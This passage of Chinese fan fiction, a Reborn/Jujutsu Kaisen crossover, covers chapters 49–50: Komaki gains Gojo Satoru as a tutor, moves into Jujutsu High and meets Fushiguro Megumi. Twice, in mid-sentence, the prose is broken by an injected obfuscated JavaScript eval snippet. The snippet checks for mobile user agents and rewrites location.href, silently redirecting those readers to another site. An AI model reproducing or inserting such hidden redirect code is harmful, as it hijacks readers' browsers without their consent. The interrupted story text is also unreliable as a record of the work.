“小莳是不是回来了?”她迎上去,看见围着灰色围巾像是刚下班的陌生人,在他的身影后,是自己辛苦上学一天的乖女儿。 夏油杰的围巾是小莳临时帮他搭配的,本来可以让他将就着万元西服凑合,但五条悟一句话惊醒了梦中人,她于是帮他在商店里买了条围巾,不是什么品牌货,据他说还有点扎脖子。 在商店里,夏油杰的情绪并不高涨:“我不觉得这有什么不一样。” “说什么傻话,这西服像是好点的单位会统一发的服饰,不过是打工的流水化标志,是工服,证明你是贵司职工。但这个,”小莳从架子上挑起一个看起来无甚特殊的灰色围巾,比对着夏油杰的紫色眼睛看了看,不错,挺配,“是‘人’的物品。戴上它你就是符号标志以外的鲜活的人,也许有人为你挑选了它,也许你自己选择了它,正是这一点点的差别,让你不会成为某个辅助监督。” 夏油杰接受了扎脖子的围巾,也接受了小莳的调侃:“谢谢前辈两年来的关照~” 而说到底这几周一直承蒙关照的,明明是他才对。 夏油杰礼貌但不拘谨地向彭格列两位重要人士的母亲打了招呼,她亲和、温柔,热情地招呼他上桌吃饭。然后像习惯动作一样视线越过他向门外的女儿打招呼:“晚上好,小莳,今天学校顺利吗?冷不冷?” 幻术师的编织能力堪比春蚕结茧,他背着听在外晃荡了一天的小莳抱怨老师讲课节奏太快--但最后自己都一一理解,还借同学抄了笔记,现在她已经能顺利认出班级每一个人,也交到了朋友。 这些话足以让一个母亲为之欢欣喜,展露笑颜。 泽田奈奈表达了对他的感谢,还说等家里接到大学的录取通知,一定会隆重地庆祝一回,到时还盼他赏光应邀。 夏油杰……想都不敢想她是怎么考上大学的。 49. 第 49 章 再后面的日子,两股势力已经差不多摸清了彼此的底线和诉求,大家终于能像潮水退去后的沙滩一样彼此坦诚地停止虚与委蛇,正式磋商。 泽田纲吉交了新的朋友,和他年龄相仿,是跨国贸易的时候认识的,泽田奈奈一听,开心的不得了。 把人邀请到家里来,一问,发现除了在家族企业里上班,本职工作居然是高中教师,惊喜加倍。教师这个职业,在传统妇女世界观里是t0级别的。经过她进一步社交,得知了该学校实施邀请制入学,高端定制,精英教育,高一届仅3人,高二届4人,四年学制。毕业包就业,工作5年就够在东京买一套不大不小的房。 “呀,真好,我们家从阿纲出生没多久就搬到这里来了,现在他28了,房贷还有几年呢。”她感叹,没看见儿子听见此言捂脸的动作。 小莳带夏油杰有回了意大利,主要是为了收拾物件,夏油杰还多个工作交接。截至目前,他结束了在瓦利亚的一切事物,从12月1日起正式调入风纪财团,连工作签证都开好了。 奈亚拉托提普也随行,私立百花王学园少了两个存在感较高的转校生,病假10天,病因一个是肺炎,一个是腰椎盘突出手术,也就是随便应付应付,没有当真意图天衣无缝的意思。 小莳听奈亚说,那学校里头全是赌鬼,根本没人好好上课。 她不在意,反正也没有本人出席的打算。“你玩的开心就好。” 神话中,奈亚拉托提普是喜好欺骗人类引发事故的邪神,同时又是外神的代行者,作为小莳的造物,创造之初时……她当然也参考了这些,虽然不知道这些元素在性格中有几分。 他是有点恶劣的,但不至于到邪恶。赌狗学园,乌合之众,本金更多的人又当参赛者又当裁判,甚至更是比赛的投资方,想也知道这是作弊者的游乐场,欺骗与博弈的育儿房。但想敲诈奈亚,不如先做好赔偿的准备。 “这些是什么?”夏油杰推开门,看见一房间堆积如山,摆放凌乱的物件。 “是我这些年的手稿笔记,还有些突发奇想的作品之类。主要是在12岁以前。”小莳在书堆中找到一片画布,扯出来,发现这是自己在读《神曲》的时候画的炼狱,建立在火山之上的黄金宫殿,形如斗兽场,其上还有一座塔,和书里写的不一样:“我从总部搬到瓦利亚的时候,这些东西全都转移过来了,但是现在既然要回并盛,路途遥远,正好很多东西都不需要,整理一下然后选择扔掉或者带走。你是日本人,你一定知道断舍离,对吧?” “……”什么刻板印象。 “别嫌多,我小时候有点心理疾病,又早慧,比起和人类社交,更有耐性读书。你大概想象不到我在自己的世界里度过了多久才解除自闭拥抱世界的。”小莳又拿起一张手稿,上面记录着俄尔普斯回头张望永世诀别与一张图,上面画的是索多玛的盐柱。 她以前真的很可爱。当然现在也是。 “如果你不想加入的话出去逛逛也是极好,听斯库瓦罗说你以前都没什么时间去海边,去看看水,看看帆船和石头,这太可惜。” 3天,是他们收拾完的期限,夏油杰在第二天高效交接完后就正式加入了整理收纳大部队。最后被小莳选择带回日本的,也不过两个28寸行李箱能装下的一切。 又经过了一周的休闲旅游时光,直到把假期全部消耗完,才订机票回并盛。 回去就被偷家了。 就,突然来了个家庭教师,泽田奈奈亲切的称他为“悟君”。 家里三个孩子,一个28岁已经在外企工作多年,一个18岁也在外企工作多年,还有一个在上学。 什么家庭教师,她可听说了,这个五条悟自己都没上过大学!他任职的咒术高专应该也没哪个学生在他辅导下考上大学的,想也没有,小莳指责自己的兄长:“哥,你引狼入室。” “我不是我没有,我这不是想着他是最强,又是老师,上次听说小莳你袚除了咒灵,但是在那之后又没有感应到咒力的波动所以我……”越说声音越小,然后想到了什么一样突然大声:“但是直觉五条君是心地善良的人!” “你最后那句话简直像是给自己打气一样说出来的,没有半点说服力。”小莳踩了他一脚,泽田纲吉没站稳,摔倒了,“阿纲,你一定要把当年从里包恩那边受的气让我也承受一遍吗?” 看不出来还是个淋雨撕伞专家。 他揉着膝盖站起来,“啊哈哈哈,说的也是,里包恩也是世界第一hitman呢。” “但是,”棕发的兄长眼神坚定,“虽然痛苦很多,也经历了磨难,我并不后悔里包恩成为我的家庭教师。” 小莳不买账:“是是是,你们现在还一个被窝筒睡觉呢。0几年就开始搞师生恋,真时髦。” 年近30的首领被家里小妹说得脸通红,他想反驳,他当年要是有小莳一半天赋和脾气,就绝对不会有找家庭教师的可能,然后他再一想,这么说就正好说明了小莳不需要额外的辅导。 “……”说不出话来。 最后事情就和十几年前一样解决--泽田奈奈亲自聘用,被那块东大的饼吸引,被五条悟“我一定把小莳培养成能够入学东大的栋梁”蛊惑,她说出了:“老师,我们家小莳就交给你了”这样的话。 斜杠青年,咒术最强、五条家主、人民教师,五条悟又有了新的兼职,家庭教师。 “没人邀请你过来。”脾气不会对母亲发,但最终都会有通道的出口,小莳这次选择了五条悟,她语气冷冰冰,周身散发拒绝的冷意:“奈奈同意你以老师自居,不代表你真的就是我老师了。” “小莳同学,你想变强吗?”教师五条悟笑眯眯,小莳的气性并非他见过最高的,而且她很聪明,听得懂人说话。 * 这个家庭教师称号名不副实,因为最后在劝说与考虑下小莳决定前往咒术高专,暂住。 “我也算是其他利益团体的重要成员,就这样随意进出你们的基地真的合适吗?”咒术高专里又是结界又是存着古老强大的咒物,怎么看都是机要重地。 得到一个毫无关系的亲切回答:“没关系,因为我是最强。” 这个回答让小莳找回了同伴的感觉,因为贝尔也总是“嘻嘻,我是王子,我是天才。” 她说:“好吧,我不会乱动你们东西的。” “最近因为交往频繁,彭格列人员的名字都出现在诅咒师悬赏论坛上了,你来高专住段时间也好让他们把视线从并盛移开。”五条悟在车上翘着腿,随口给小莳透露了点情报。 “如果诅咒师上网的话,最终会发现我是东京私立百花王的学生,而且每天都按时出勤,岂不是会到那边去?不管了,不去并盛就好,不然给风纪添麻烦,恭弥会生气。”小莳说到这里,开始好奇,“我悬赏多少钱?”至少要超过上次的3亿吧,不然好丢人。 “7亿。一直不得手的话还会越来越多。”五条悟稍微揭开眼罩,看小莳,发现她笑得挺开心。 “挺好挺好,比我想象中多。”double了。 “有坊间传闻说你是超越六道骸的实际最强幻术师,你怎么看?” “多半是他在外面得罪人了,或者有人想害我。”小时没怎么思考就说出了自己的答案,“流言缺乏创造性,总是最强一类千篇一律的说辞,建议他们多上网,学学反串。我和骸,怎么说呢,并没有进行过幻术方面的对决,但是在杀手的立场上,我和他应该都不是不能鲨,只是比较难鲨。” “……真是别出心裁的角度。” “阿纲对你评价挺高的,说你是个好人呢,所以和你说说这些也无妨。我有的时候会和一些不愿意透露姓名的家族成员玩假想刀人游戏,我们会自由选择目标或者抽签,然后通过文斗的方式比较谁比较擅长,你懂的。”小莳朝五条悟使了个眼色,瓦利亚风气就是这样,看五条悟回以的凝噎表情,他待的地方要正常许多:“所以如果从猎物的角度来看,没有谁真的无懈可击,大家也不过是努努力力在朝自己的目标前进啦,争取退位之后还能一起去北海道吃吊切安康鱼吧。” 五条悟听着前半句感觉像是阴阳怪气,听完以后他点点头,展现了良好的控场能力,将话题扭转:“好巧,你们那边平均寿命也很低。咒术师这里也是呢,所以老师才要把你带过来,特~训~” “奈奈指望着我上大学呢,跟你说的东西不一样好吧!” “嗨嗨嗨,在此之前,小莳同学,能不能再给老师表演一下那个。”五条悟对小莳伸出手,张开五指。 年纪稍长一些很骄傲吗,小莳不觉得,她不满:“你一定要在我面前摆老师的架子吗?” “啊,请和我牵手,小莳。” “喂,司机先生都因为你的话回头了,你不觉得有什么问题吗?” “开你的车,伊地知。”五条悟声音冷冽威胁辅助监督,然后和小莳说话的声音又欢快起来:“来嘛来嘛。” “请容许我郑重的拒绝。”充分学习了无下限相关知识以后,小莳并不觉得这是可以在车上详聊的话题,“高专里面应该有专门密闭的房间之类吧,等进去以后我们再详聊好了。” “是想和我独处一室吗?是在关心我吗?”五条悟做出一个少女漫里双手捂脸的动作,“老师好感动!” “都说了不要自称老师。”小莳推了他一把,推动了。 唔,看他愣神的样子应该是开了无下限的,小莳戴上耳机,从口袋里掏出墨镜戴上,是拒绝交流的意思。 有事等上课时间再说,现在她要睡觉。 车在校门口停下,小莳看见了写着东京都立咒术高等专门学校的匾额,秋天的风吹过树梢又拂过她的脸,留下一丝寒意,那是本升专的冷冽。 她下车,从门外向里看,“从这里走到教室要很久吧,没有车子可以进的门吗?” “有的,但是第一次来还是走正门比较好嘛!”五条悟揪下眼罩塞进口袋,大步走进高专。 小莳发现这人有些必要的礼仪在身上,诶,倒也不赖。 “高专的宿舍楼很大,现在常住在这里的学生也不超过10个,你可以随便挑个空宿舍住下。不住也没关系,杰说你有能搭乘的匣兵器,天天回家也可以哦~” “好耶!”听到可以回家,并盛第一妈宝女一秒变得活泼开朗,“老师真好!” 五条悟怀疑:“你在车上兴趣缺缺的样子,莫非是以为自己要一直在高专所以不开心?” “一部分是呢,我不喜欢被束缚的感觉。”小莳对五条悟眨眨眼,蓝色的眼睛在阳光照射下泛起水光,“如果是强制住校的话就算是霍格沃茨我也不愿意去。” “真是说出了相当孩子气的话,霍格沃茨的入学信会在12岁那年发放呐。” 小莳接着说:“另一部分是因为厌学情绪,不过一想到只要能回家第二天就能请假,所以我被治愈了!” 五条悟看得出来她是真开心,嘴角上扬,就如同泽田纲吉对他的评价颇高一样,夏油杰对泽田小莳也给出了极高的评价,高到他这个做挚友的都有点嫉妒了。 不过涩谷那天还有再见面那天的经历看来,小莳确实是个好孩子,实力也强,更有着极大的潜力,他个人很期待和她的进一步接触。 “对了,有件事情忘了说。”五条悟跳到小莳面前,拦住她往前走的路,“老师安排了学生带你参观校园,还有宿舍领东西!” 她在好消息的铺垫下根本不在意他说了什么:“好的好的。”这些事情无关紧要。 五条悟接着说:“恰好是今年的一年生里面你还没见过的那位,伏黑惠哒!” 这名字好像有点…… “如果小莳觉得耳熟的话也正常,因为他就是伏黑甚尔的儿子!虽然是老师我含辛茹苦带大的,但是血缘关系就摆在那里。”五条悟拍了拍手,还打了个响指,“小惠可是很可靠的,和他那个父亲一点也不一样,当然,这就不得不提到我的养育之恩了。” 五条悟是有点故意在里头的,关于那通我家小杰的电话,还有幻术的狱门疆,他想搞点事情。 “这么小就来上学了?”12岁?天才儿童?她以为都得是上高中的年龄才能来上学。“不过说到可靠那部分我确实是相信的,我们那边也有个叫做弗兰的幻术师,从小就在瓦利亚,他们应该很有共同话题。”无了的妈,失踪的爸,恶劣的生活环境,生活不能自理可就活不下去了! 瓦利亚大概比五条悟这边更艰苦一点,弗兰还额外学会了说话的艺术。 五条悟觉得小莳一定是误会了什么,但在此之前他更在意为什么这些没影响到她:“那可是你前男友的孩子哦。” “我知道,姓名都对上了。”她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413117|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白他重申一次的意义何在。 “那你完全不膈应的吗?” “……我算是知道你和杰为什么能做朋友了,你们上高中的时候该是俩问题少年吧!”这像猫一样推桌上的东西又看看人的架势,一样一样。 五条悟:“你先用狱门疆吓我。老师可不会吃闷亏。” “那天晚上你害我把晚饭吐出来了,我还救了你呢!” “谁能想到你的幻境这么不堪一击。” 小莳一脸无法理解:“这么讲话你的良心不会痛吗?我可长心眼了,同时两个领域展开,特级都有死掉的可能。” 五条悟今天就要不可理喻:“我的无量空处已经中和了他的领域!多出来的亿点点能量而已。” “是啊,但你们的攻击都确凿无疑的落在了我构筑的环境里。”小莳抱胸,不知何时鼻梁上又架起墨镜,“你中和了它,它又中和了你,最后与我而言不过是承担了所有。” 让一个17岁少女承担这些,完全是大人世界的失职! “……”五条悟理亏。 小莳觉得这人幼稚,不值得与他说太多,便偏过头去不看他,顺着主道继续往前走。 五条悟在后面跟上。直到一条路走到底,两人面前是礼堂,左右无路。小莳问:“应该怎么走?” “在这之前一个路口,左拐。” 又是个没长嘴的,小莳没给他一个眼神,径直往回走。 “是你自己没有问的,怎么可以怪老师呢,小莳同学这可不好。”五条悟张口就是一句推脱责任,嗓音里是夹着的甜腻,听起来让她有点反胃。 小莳回头,食指迅速找到他的嘴唇并封印:“你,不许说话。” 看表情又破了一次他的无下限。 这下五条悟真的不说话了,他只会在要转弯的时候呜呜呜呜呜,虽然周边空旷,没有人类的痕迹。但仍然--丢脸得很。 “我们来玩一个游戏吧。看起来你对我有些好奇,不如我回答你两个问题,你答应我在24小时内都保持正常好不好?”她居然是两个人中比较成熟的一个,简直倒反天罡。 五条悟还是呜呜呜呜呜呜,但竖起了三根手指。 “……成交。”算了,本来就是无本买卖,只是这人太烦,像社交平台上看到的博主亲戚家的7、8岁小孩。 “问题一,小莳为什么可以让无下限无效?杰说过你是很会思考的,自从那天见面以后过去这-么-久,你肯定有想过吧!” 他问问题的时候智商就还挺高的,回到了超越正常人类的状态,还会防敷衍打补丁。 小莳说了,但也只说猜想的一半,还是敷衍:“我猜是负面情绪,第一次地铁站见到你的时候是纯好奇,无论如何都触碰不到,第二次在cafe是真的有点嫌你烦,今天车上和刚刚也是哦,五条君你真的很会惹人生气。” 前面忘了后面忘了,咒力来源也是负面情绪,这个说辞应该能让敷衍到五条悟。 五条悟对这个回答是接受了,他若有所思,但很快竖起两根手指:“问题二,彭格列和风纪财团对杰会是个好去处吗?” Yes/No问题,小莳偷懒的直接Yes,没打算回答理由。 五条悟却催促:“为什么呢为什么呢?” 虽说规定好是三个问题,但如果提出这点他又会闹新的幺蛾子。小莳思量,这是出于关心朋友而提出的,仅排在生死存亡的问题之后,看得出来他们感情不错,她回答一下好了。 “一是工作环境好,通勤时间短;二是薪资福利优厚,工会关怀到位;三是可以通过出外勤的方式顺便翘班;四是可以借势和咒术界打擂台,你挚友再也不用担心被死刑了。”相对的,小莳新认的小弟这里情况可还晦暗不明,据说会是死刑死缓二选一,怎么想都觉得咒术师还不如干mafia。 幸福感一下就对比出来了。能为并盛打工也算是杰的福气。 太……普通了,他没期待会得到这种回复:“……真是十分朴素的解答。” 小莳不是科班出身,但读了些书,见识了些世界:“人类,总免不了衣食住行生老病死,根据我认为很有道理的一句话,劳动虽然创造价值,但对劳动者本人来说,也不过是赚取报酬让自己过上更好生活的手段。如果想通过【价值】来诓骗【劳动】,那就太不地道了。难以想象重视束缚和等价交换的咒术界居然没有普及这一理念,我建议总监部多组织学习人文社科,然后给两所高专都成立工会。” 五条悟觉得眼前的人和七海大概会有共同话题,可惜七海在乙骨一回来就飞马来西亚度假了,“好,让我们来到老师我争取到的第三个问题,谈谈你和伏黑甚尔!” 换了个世界换了群人,往事谈不上羞于启齿,但五条悟的最后一问未免太脱离,小莳本以为他会问关于她的领域展开和咒力。 “嗯……我们在一起了一年多,然后分手了。真遗憾,爱过。”小莳摊手,表情和讲话内容共同对应上假惺惺这个形容词。 “其实我想知道救命之恩那段的内容,纲吉君说小莳是重视情义的好姑娘,于是我想着‘莫非是传统的那种以身相许桥段?’来向你求证。” 小莳没问他怎么知道的,反正和夏油杰脱不了干系,她回忆了一下,说:“我被绑架了,那伙人挺凶,我差点死了,他救了我,我醒来以后就和他在一起了。你还挺敏锐,在那之前我婉拒过他一次。”说到这里停顿了一下,想来初时婉拒的不错,伏黑甚尔确实不算优质伴侣,毕竟他……算了,打住,昨日之日不可留:“他身上确实有值得喜欢的地方,也有足以让人选择放弃的地方,最后我想了想,放弃了,硬要说的话终究还是我亏欠他。我可是很重视自己这条小命。” 五条悟嘿嘿一笑:“他现在在这里可只有一个血脉相连的儿子了,所以……” 原来铺垫这么多在这等着她呢! 在小莳进一步认识五条悟此人前,他主动在她面前自揭面纱。她侧过身去仰视他背光的脸,相似的发色,还有每天都能在镜子里看见的瞳孔,其间有着她同样熟悉的让人难生厌的一抹狡黠。 她想起了阿纲和他说过的“不知道怎么说,但是感觉上五条悟是个很好的人。” 他的超直感还真是领袖必备,她的直觉难以望其项背。 小莳低声说:“五条悟,你还真是个大善人。” 50. 第50章 伏黑惠第一次见到泽田小莳是在涩谷的万圣节,那时他警惕、怀疑,驳杂的猜想和不确定的未来萦绕心头;第二次他见到小莳,是在晴空绿树下的高专宿舍门口。 她一手摘下墨镜,露出精致清秀的面庞,右手指尖挑起一簇山茶花,白色重瓣绿叶也浓,她朝身边人笑了笑,说了些什么,将花叶捻在指尖,白花瓣和绿叶便辗转反侧,乘舟一样一片片奔赴秋风飘散。 山茶花也被称为断头花,只因它凋谢时并不飘落零落残瓣,而是整朵落于尘土,若是红山茶,则更决绝与触目惊心。 他们又说了些什么,她被提醒回头。 她偏过头来,含笑的双眸捕捉了他。透过纷扬白花和绿叶,秋风也吹到他身边,带来骨髓里的震动,隐隐作疼。风吹过他的骨头,吹过他骨缝间的孔窍,调调刁刁,奏出欢欣和悲哀的响动。 她又朝他微笑,伏黑惠就什么也听不见了。 * “一年生里面也只有惠没见过小莳了,所以这次带泽田同学参观高专还有领取用品的任务就交给你!” 伏黑惠很不爽:“上次虎杖也是我带的。” 虎杖悠仁举手:“老师!我也没见过!” 钉崎野蔷薇:“这种事情还是要交给同为女孩子的我,女孩子!女孩子!” “虽然说是同学,但人家的目标可是东大,学籍关系也不在我们这里~” 五条老师,完全不听同学讲话的。 问:三个学生能够闹出多大动静?答案是能让班主任老师不得不停下本来要讲的内容然后整顿秩序。“大家静一静。都听我说!” 五条悟活泼开朗地说出了自己安排的深意:“惠酱的父亲是这位小姐的老情人哒!悠仁去并盛的那一天不是看见小莳了吗?在涩谷你也是被她救助的。” “啊嘞,没注意。但是钉崎不是说她很年轻,难道只是和五条老师你一样长得比较年轻?!”见没见过已经不重要,虎杖比较期待老师细说人际关系。 “我怎么可能看错!老师你不要因为恶趣味毁人清誉啊喂!!那个姐姐最多17岁!!!再说伏黑这年纪他爸都40了吧,是中年人了!!!”这绝对属于造黄谣了吧,什么都乱讲只会害了他,穿学生裙子就算了,现在变本加厉。 “……噗。”相比于情绪激动的两位同学,伏黑惠只是喷了一口水。 在五条悟“好啦好啦最后大家都会见面的,我准备去并盛接她了,伊地知也发消息说还有20分钟能到,让学生等待可不是好老师会做出来的事!”的总结下,三位经常被老师放鸽子的学生一脸“你要不要听听自己在说什么”,却并未勾起他一点点的反思。 “惠,你和我出来一下,其他同学请认真自习,当然如果你们违逆老师的意思自由活动老师也没有办法啦!”这就是暗示可以直接下课。 伏黑惠在五条悟走后,拿日用品的时候,还回想着刚刚听到的内容。相比较两位同学,他是亲眼目睹生父从天而降的,也因此被五条悟科普了更多关于世界融合的事情。 五条悟向他进一步说明:“男女朋友那段并不是信口开河,倒不如说杰告诉我之前我完全没把他们联系到一起,小莳罪不至此。呀,还真是难以置信。” “她可是很强的,那天涩谷的樱花就是她的手笔,咒术师和普通民众都因此受益。” “在禅院直毗人给他打了5亿以后,你们还联系过吗?” 伏黑惠回答:“没有。”就像从来都不存在一样。对于这个父亲的情绪,很难讲,但也并非没有怨怼。 得到满意答案的教师对他竖起了手指,着重强调:“那就好,好消息是小莳也不知道伏黑甚尔和她一起从另外一个世界来了。你记得保守秘密,千万不要泄露!老师可是很认真的哦!” “据说他们曾经在一起了一年呢,怎么会有这么可怕的事情。幸好分了。” …… 在交流会的时候,东堂葵曾经问过伏黑惠喜欢什么类型的女孩,在那时他的脑中一片虚无,最后在半威胁半劝诱下,他给出了姐姐津美纪给他的印象:“没什么特别的类型,有坚定意志就好。” 现在他觉得,喜欢,不过是虚幻的种种概念和理解的合集,在见到某个人时会像烟花一样急促炸开。幻想和期待就会在烟花赐福的土壤中结成实体--就是那个人的形貌。 伏黑惠觉得不应该,但是心跳和呼吸是没有办法自我欺骗的,超出理智,短暂又漫长的一瞬间,他决定把这种感觉定义为怦然心动。 * “哦?怎么说?”五条悟被夸奖,还是认真夸奖,他很高兴。 小莳又盯着五条悟看了一会,“你可以把总监部的豆沙了,也可以回去用家主的权力角逐想要的一切,或者什么都不管带着银行卡跑到世界你想去的任何一个角落。可是你在这里乖乖听安排完成大部分任务,救下了一些被‘死刑!死刑!全部死刑!’的人,你把自己放到像魔术箱一样狭小的规则框架里,在不认可的框架内与话事人周旋。”小莳是没这耐性的,不过她清楚改革蜕变总是比暴力毁灭来得艰难许多,看起来有人选择了更艰辛的那条路。 “……哇”五条悟听了小莳的话,睫毛微颤,夏油杰曾经和他说过的【我并没有这种奢求,但被理解的那一刻,总归不一样。】他有点领会这其中意思。 “听说你已经任教10年。虽然你们年龄相仿,但阿纲敬佩的,是你在18岁时义无反顾的勇气吧。他在那时可并没有你这份坚定。”于闲谈中小莳笑着给自家兄长揭短,“他的爱是常亏欠,总自卑自己不够好,总焦虑是否还有未尽之事,可这些迷茫在你身上只是短暂的出现,你会马不停蹄的奔赴目标,他想的没错,五条悟,你还真是个好人。” “但是最终。”小莳总结,她转过头去,重新开始走路,古朴的庭院草树郁然,正适合这样闲暇论道:“像百川入海,好的人,也会踏上相同的道路。我的兄长一定也很高兴能在他28岁的时候遇见你,与你在某种程度上同行。” 接下来他们闲聊,关于甜食,关于旅行,小莳还顺便关心了一下与幸吉的情况,五条悟感叹幻术还真是无所不能,连天与咒缚的残缺身体都能修复,小莳则惊讶身体治好以后咒术强化就会自动消失,所谓的“天”既然这么聪明,那他给人下咒缚怎么还搞一锤子买卖? 与幸吉大概率死缓。 得到了说的过去的答案,小莳心情不错,凝出一朵山茶花捧在指尖看它转圈圈。 “小莳和机械丸关系不错?” “还行,他在无聊的时候会找我聊天。我在无聊的时候会回复他。”不巧,最近与幸吉一直都……悬而未决的审判决定让他有很多焦虑和一部分后悔。 “那我也可以找小莳聊天吗!!” “阿纲和杰还不够你聊?”小莳遇到事情只会高情商拒绝,“我最近有点忙。你找其他人。” “我的人生到现在,朋友只有杰和纲吉君两个人。也就是说,在遇到纲吉君前,杰是我唯一的朋友!”五条悟重点强调,“而且杰有和我说过你无所事事每天都很悠闲,小莳同学,你可不要骗老师。” “他真坏。”小莳笑了笑,夏油杰对她清闲的嫉妒产生已久,她心念一动,捻散了幻术凝成的山茶花,“那你岂不是之前把你唯一的好朋友干掉了,好伤心哦,五条你这样的在漫画里也算个美强惨。但因为是真实存在的人类所以就没有符号化那么惹人怜爱了。” “这是在拐弯抹角说坏话!”五条悟还想再说点什么,隔着一段距离看见了宿舍楼,还有站在楼下的学生,“到啦,那是接下来要带你参观校园的同学。” 看过去……啊,海胆头! 小莳看五条悟朝伏黑惠兴奋挥了挥手,那边好像在发呆,没理他,所以说这两人中有一人是高中生,一人是人民教师,唯独没有小朋友…… “那这小孩长得有点大啊。”小莳惊讶,说好的天才儿童呢? 根本没人和她说好。 “嗯?什么大?” 小莳回答:“我以为会见到一个小朋友。听说孩子年级尚小,这是?” 伏黑惠听到的她说的第一句话就是这个。 “毕竟是伏黑甚尔的遗腹子,从小惠出生到现在已经过了15年!” “遗腹子这个词不是这么用的吧。”小莳随口吐槽,知道五条悟恨他并且在这点她了,然后才认真的看抱着一筐东西跑近的伏黑惠,在海胆头的同时还是个帅哥,好新颖的设定,还是她中意的黑发绿眼同款,她和他招了招手,“你好,我是泽田小莳。” “……你好,伏黑惠。”少年低下头,似乎是有点害羞。 啊这,小莳讶异,这孩子性格是这样子,看上去是很普通的15岁少年,见到陌生人会害羞,然后不敢对视……开始怀疑家系和后天教育到底对他做了什么。 如果没记错的话,他就是继承了禅院十影的咒术师,对于天才来说,有点青涩。 小莳对这位故人之子有了第一印象,不算深刻。五条悟的视线充满怀疑在小莳和伏黑惠见逡巡,看得小莳不明所以。 他把伏黑惠拉走私聊,过了一会才放回来,“呀,年轻人的心绪真是浪潮汹涌,老师也惊讶到不行。原本打算踢掉小惠翘掉安排带小莳逛逛的,现在想想还是把---” “五条老师!”少年打断他,口中有焦虑和羞恼。 “嗯嗯嗯,好好好,老师走了,小莳要和小惠好好相处哦。” 五条悟消失得很快,现场很快就只剩下小莳和伏黑惠。 小莳哑然,走得好匆忙。 小莳想从伏黑惠手上接过那一筐生活用品,被他避开,“我帮你拿着,你先挑宿舍……泽田同学。” 是初次见面就会主动做事的好人!小莳对此满意万分,连带着对伏黑惠的笑容都更真挚,“那就谢谢啦,伏黑同学。这一圈小院貌似只有2间没人居住,请问后面还有其他可供选择的居室吗?” 小莳问他以后发现他脸红了。 “是有的,不过后面的宿舍是排楼,人不多但是要同用走廊。” 她又接着问:“可以住那边吗?” “……可以。我带你过去。” 小莳就这样,一不小心成了伏黑惠和虎杖悠仁同楼的舍友,这还真是……她选了二楼。 伏黑惠事先帮她领的差不多就是锅碗瓢盆床单被套等日用品,“这还要自己做饭的吗?” “每天到点会有盒饭供应,也可以联系工作人员提前定,味道一般。” “能让锅碗瓢盆成为领取用品的盒饭总感觉……”绝对超难吃。 小莳掏出手机开始搜索私立百花王学园和高专的距离,都在市郊,一所综合学园,一所宗教类学校,创立宗旨完全不同,但距离倒不算太远,9公里。 她开始计算,八点半上课,五点半结束社团活动,剩下的时间……从晚六到早八奈亚可以在高专,也可以一起回家。这样想来自己真是个魔鬼,需要一个24小时全程待机的助理,白天一拖二,晚上继续一拖二。 “……学生间有的时候也会聚在一起吃饭,会减少很多麻烦。”伏黑惠正在犹豫要不要趁此机会添加一下联系方式,小莳已经习惯了他讲话有点温吞,她心不在焉。 “没关系,我想到办法了。东西就放在地上吧,等放学--不,等午休的时候会有人来收。”小莳心情又转了个旋,到时候改造一下宿舍让它变成二居室,再加个浴缸,一切又都完美起来。每周回家三天?周末也回并盛待着,如此想来到学校也不是很糟糕的选择。 伏黑惠告诉小莳外人是进不来高专内部的,小莳和他解释了自己的造物:“和我的人偶在郊区另一所学校上课,午休12点到13点过来可以收拾东西。他做饭也很好吃,到时如果他来的话我都安排给伏黑同学带一份如何?” 两人逛了一会高专。 “说来我们也都算是召唤系呢,上一个认识的夏油杰也是,”小莳在和伏黑惠走到自动贩卖机的时候,她一边观察里面贩售的货品,一边闲聊,“我还挺喜欢什么事情都不用亲力亲为,有人代劳的闲适感的。” 夏油杰……去年百鬼夜行的发动者,恶名在外的诅咒师,不知道为什么存活了下来,现在以彭格列相关人士的身份活跃在新出现的并盛。危险人物,泽田小莳和他关系颇为不错的样子。 伏黑惠仅回了一声“嗯。” “售货机里的东西也太少了。”小莳这么嘀咕一句,但是奈亚可以代购。 转了一圈,了解了高专里设施的位置,小莳对伏黑惠……沉默寡言、容易害羞、自闭,总之青少年有的问题他都有,但是为人沉稳,是个不可多得的优点。总之比他爸强,五条老师或许有什么特殊的养孩技巧,但是听说这小孩和他姐姐相依为命长大,姐姐又是异父异母义理姐姐,说不定他们关系很好。 虽然容易害羞和沉稳好像是一对矛盾的词,但是诡异的在伏黑惠身上全都看到了呢! 至少在他身上,家系因素是大于后天环境的,或者说因为五条悟也是个有点工作繁忙的,反而近似于模拟了伏黑惠父亲小时候左支右绌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413118|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太妙的生存环境? 小莳这么猜测着,眼看快到饭点,给今天也在努力读书的奈亚发了消息,让他有事来高专一趟,转头问伏黑惠,“伏黑同学饮食上有什么偏好吗?” 没想到她会突然问这个,伏黑惠愣了一下:“没有,也没有忌口。” 小莳也因为他的回答回忆起过去一些事,然后她点点头,在手机上敲了些东西,“你认识狗卷棘吗?” “狗卷前辈?那是二年级的前辈。” “喔,原来如此,我在涩谷那天见过他,还欠他一条手帕。”小莳想到这里又敲键盘让奈亚再带条手帕来,“你有他的手机号吗?还有我们是不是也可以加一下好友。” 之前那个手机在没电以后就再没开机,存在里面的电话也从来没被想起过,直到今天。 “嗯。” 